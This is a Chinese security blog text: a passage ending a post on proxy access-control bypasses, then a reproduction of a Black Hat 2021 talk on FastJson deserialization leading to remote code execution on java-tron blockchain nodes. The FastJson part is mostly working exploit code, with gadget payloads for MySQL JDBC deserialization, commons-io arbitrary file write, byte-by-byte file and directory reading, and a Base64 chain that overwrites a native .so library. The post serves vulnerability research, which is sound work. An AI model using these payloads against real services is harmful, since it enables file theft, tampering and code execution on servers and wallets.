envoy 本身起到一个请求转发作用,可以精确匹配到协议 ip 端口 url路径等,指定很详细的路由转发规则,且可以对请求进行转发和修改

Identity Security Authentication Vulnerability

url编码即可绕过envoy的转发规则,POC如下:

Identity Security Authentication Vulnerability

总结:由于envoy转发规则不能匹配URL编码,但Springboot可以理解,两个组件对url的理解不同,最终导致漏洞产生。

3.Other

扩展一下思路,当存在一个或者多个代码逻辑处理url时,由于对编码,通配符,"/",";" 等处理的不同,极有可能造成安全问题。

五、Apache、Nginx、Jetty、HAProxy 等

Chybeta在其知识星球分享了很多:

Nginx 场景绕过之一: URL white spaces + Gunicorn

https://articles.zsxq.com/id_whpewmqqocrw.html

Nginx 场景绕过之二:斜杠(trailing slash) 与 #

https://articles.zsxq.com/id_jb6bwow4zf5p.html

Nginx 场景绕过之三:斜杠(trailing slash) 与 ;

https://articles.zsxq.com/id_whg6hb68xkbd.html

HAProxy 场景绕过之一: CVE-2021-40346

https://articles.zsxq.com/id_ftx67ig4w57u.html

利用hop-by-hop绕过:结合CVE-2021-33197

https://articles.zsxq.com/id_rfsu4pm43qno.html

Squid 场景绕过之一: URN bypass ACL

https://articles.zsxq.com/id_ihsdxmrapasa.html

Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.

六、简单的fuzz测试

造成权限绕过的根本原因可能有多种,但是不妨碍我们总结出一些常见的绕过方式,编码、插入某些特定字符、添加后缀等方式。远海曾公布一个权限绕过的fuzz字典:

Identity Security Authentication Vulnerability

七、参考链接

https://wx.zsxq.com/dweb2/index/group/555848225184

https://www.vmware.com/security/advisories/VMSA-2021-0005.html

https://cloud.tencent.com/developer/article/1552824

Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用

By: Skay
17 August 2021 at 05:11

FastJson反序列化0day及在区块链应用中的后渗透利用

链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815

PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

一、Fastjson反序列化原理

这个图其实已经能让人大致理解了,更详细的分析移步
Fastjson反序列化原理

image

二、byPass checkAutotype

关于CheckAutoType相关安全机制简单理解移步

https://kumamon.fun/FastJson-checkAutoType/

以及 https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

https://www.anquanke.com/post/id/225439

https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass,就会通过检验

2

三、议题中使用的Fastjson 的一些已公开Gadgets

  • 必须继承 auto closeable。
  • 必须具有默认构造函数或带符号的构造函数,否则无法正确实例化。
  • 不在黑名单中
  • 可以引起 rce 、任意文件读写或其他高风险影响
  • gadget的依赖应该在原生jdk或者广泛使用的第三方库中

Gadget自动化寻找

ggg

https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80

3

关于这几条链我们简单复现下

1.Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

import com.alibaba.fastjson.JSON;

public class Payload_test {
    public static void main(String[] args){

        //搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
        String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";

        JSON.parse(payload_mysqljdbc);

        JSON.parseObject(payload_mysqljdbc);
    }
}
3

更多版本详情参考 https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

2.commons-io写文件

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

2.1 commons-io 2.0 - 2.6

 String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
//        String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
4

此处在Linux复现时,或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化,在原Poc基础上修改如下即可

5

2.1 commons-io 2.7.0 - 2.8.0

String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";

3.commons-io 逐字节读文件内容

String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
6
7
8

四、New Gadgets 及实现区块链RCE

PPT中提到了,它没有mysql-jdbc链,且为Spring-boot,无法直接写webshell。虽然我们可以覆盖class文件,但是需要root权限,且并不确定charse.jar path。

然后回到目标本身,java tron是tron推出的公链协议的java实现,是一个开源 Java 应用程序,Java-tron 可以在 tron 节点上启用 HTTP 服务内部使用Fastjson解析Json数据。且:

• Leveldb 和 leveldbjni:

• 快速键值存储库

• 被比特币使用,因此被很多公链继承

• 存储区块链元数据,频繁轮询读写

• 需要效率,所以 JNI https://github.com/fusesource/leveldbjn

综上所述,洞主最终利用Fastjson的几个漏洞,结合Levaldbjni的JNI特性,替换/tmp/目录下的so文件最终执行了恶意命令

1.模拟环境 Levaldbjni_Sample

这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境,

两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载

/**
 * @auther Skay
 * @date 2021/8/10 19:35
 * @description
 */

import static org.fusesource.leveldbjni.JniDBFactory.factory;

import java.io.File;
import java.io.IOException;

import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;

public class Levaldbjni_Sample {
    public static void main(String[] args) throws IOException, InterruptedException {
        Options options = new Options();
        Thread.sleep(2000);
        options.createIfMissing(true);
        Thread.sleep(2000);
        DB db = factory.open(new File("/tmp/lvltest"), options);
        System.out.println("so file created");
        System.out.println("watting attack.......");
        Thread.sleep(30000);
        System.out.println("Exploit.......");
        DB db1 = factory.open(new File("/tmp/lvltest1"), options);

        try {
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = new String("value" + i).getBytes();
                db.put(key, value);
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = db.get(key);
                String targetValue = "value" + i;
                if (!new String(value).equals(targetValue)) {
                    System.out.println("something wrong!");
                }
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                db.delete(key);
            }

            Thread.sleep(20000);
//            Thread.sleep(500000);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            db.close();
        }
    }
}

运行时会在tmp目录下生成如下文件

9

可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so

2.commons-io 逐字节读文件名

在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名,我们现在可以使用file协议读取文件内容了,这里我们使用netdoc协议读取文件名即可,因为是逐字节读取,我们写一个简单的循环判断即可

public static char fakeChar(char[] fileName){
    char[] fs=new char[fileName.length+1];
    System.arraycopy(fileName,0,fs,0,fileName.length);
    for (char i = 1; i <= 127; i++) {
        fs[fs.length-1]=i;
        String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
        if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
            return i;
        }
    }
    return 0;
}

执行效果如下

10

3.so文件的修改

这里需要一点二进制的知识,首先确定下我们要修改哪个函数

11

修改如下即可

12
13

4.写二进制文件

commons-io的链只支持写文本文件,这里测试了一下,不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化

14

议题作者给出了写二进制文件的一条新链

233

在进行了base64编码后就不存在上述问题,这里感谢浅蓝师傅提供了一些构造帮助,最后此链构造如下:

/**
 * @auther Skay
 * @date 2021/8/13 14:25
 * @description
 */
public class payload_AspectJ_writefile {
    public static void write_so(String target_path){
        byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
        //写文本时要填充数据
//        String so_content = new String(bom_buffer_bytes);
//        for (int i=0;i<8192;i++){
//            so_content = so_content+"a";
//        }
//        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
//        System.out.println(payload);
        JSON.parse(payload);

    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }
}

5.成功RCE

15

五、参考链接 & 致谢

*感谢voidfyoo、浅蓝、*RicterZ 在Fastjson Poc方面帮助

感谢Swing、Beichen 在二进制方面帮助

最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

❌
❌